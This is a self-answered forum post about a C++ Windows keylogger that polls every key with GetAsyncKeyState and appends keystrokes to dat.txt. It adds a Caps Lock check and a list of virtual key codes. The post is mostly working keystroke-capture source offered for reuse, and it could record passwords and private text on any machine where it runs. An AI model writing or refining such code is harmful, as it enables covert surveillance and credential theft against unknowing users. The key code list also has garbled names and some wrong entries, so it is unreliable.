Hi I have this code which can record keystrokes and save it in dat.txt file, But it can't differentiate b/w upper and lowercase letters, It writes all the capital characters like "ABCDEFG" not "abcdefg". I need a code that checks whether capslock is ON/OFF. And then save output as it is.
#define _WIN32_WINNT 0x0500
#include <Windows.h>
#include <string>
#include <stdio.h>
#include <iostream>
#include <fstream>
using namespace std;
void LOG(string input) {
fstream LogFile;
LogFile.open("dat.txt", fstream::app);
if (LogFile.is_open()) {
LogFile << input;
LogFile.close();
}
}
bool SpecialKeys(int S_Key)
{
switch (S_Key) {
case VK_SPACE:
LOG(" ");
return true;
case VK_RETURN:
LOG("\n");
return true;
case VK_SHIFT:
LOG("[SHIFT]");
return true;
case VK_CAPITAL:
LOG("[CAPSLOCK]");
return true;
case VK_OEM_8:
LOG("!");
return true;
case VK_MULTIPLY:LOG("*");
return true;
default:
return false;
}
}
int main() {
char KEY = 'x';
while (true) {
Sleep(10);
for (int KEY = 0; KEY <= 255; KEY++) {
if (GetAsyncKeyState(KEY) == -32767) {
fstream LogFile;
LogFile.open("dat.txt", fstream::app);
if (LogFile.is_open()) {
LogFile << char(KEY);
LogFile.close();
}
}
}
}
return 0;
}
GetKeyState function lets you know the status of key, Every keyboard button has its own unique key number. Visit here1 or here2 for more info.
if (GetKeyState(20)) {
//cout << "Capslock is ON";
}
else {
//cout << "Capslock is OFF";
}
I am answering my own question to help other students as like I was helped. If link doesn't works view below virtual key codes list:
BackSpace=8
Tab=9
Return=13
Command=15M
Shift=16
Contrli=17
Alt=18
Pause=19
CapsLock=20
Escape=27
Space=32
PageUp=33
PageDown=34
End=35
Home=36
Left=37
Up=38
Right=39
Down=40
PrintScreen=44
Insert=45
Delete=46
0=48
1=49
2=50
3=51
4=52
5=53
6=54
7=55
8=56
9=57
A=65
B=66
C=67
D=68
E=69
F=70
G=71
H=72
I=73
J=74
K=75
L=76
M=77
N=78
O=79
P=80
Q=81
R=82
S=83
T=84
U=85
V=86
W=87
X=88
Y=89
Z=90
LWin=91*
RWin=92*
Apps=93*
NumPad0=96
NumPad1=97
NumPad2=98
NumPad3=99
NumPad4=100
NumPad5=101
NumPad6=102
NumPad7=103
NumPad8=104
NumPad9=105
Multiply=106
Add=107
Subtract=109
Decimal=110
Divide=111
F1=112
F2=113
F3=114
F4=115
F5=116
F6=117
F7=118
F8=119
F9=120
F10=121
F11=122
F12=123
F13=124
F14=125
F15=126
F16=127
NumLock=144
ScrlilLock=145
LShift=160**
RShift=161**
LContrli=162**
RContrli=163**
LAlt=164**
RAlt=165**
SemiClion=186
Equals=187
Comma=188
UnderScore=189
Period=190
Slash=191
BackSlash=220
RightBrace=221
LeftBrace=219
Apostrophe=222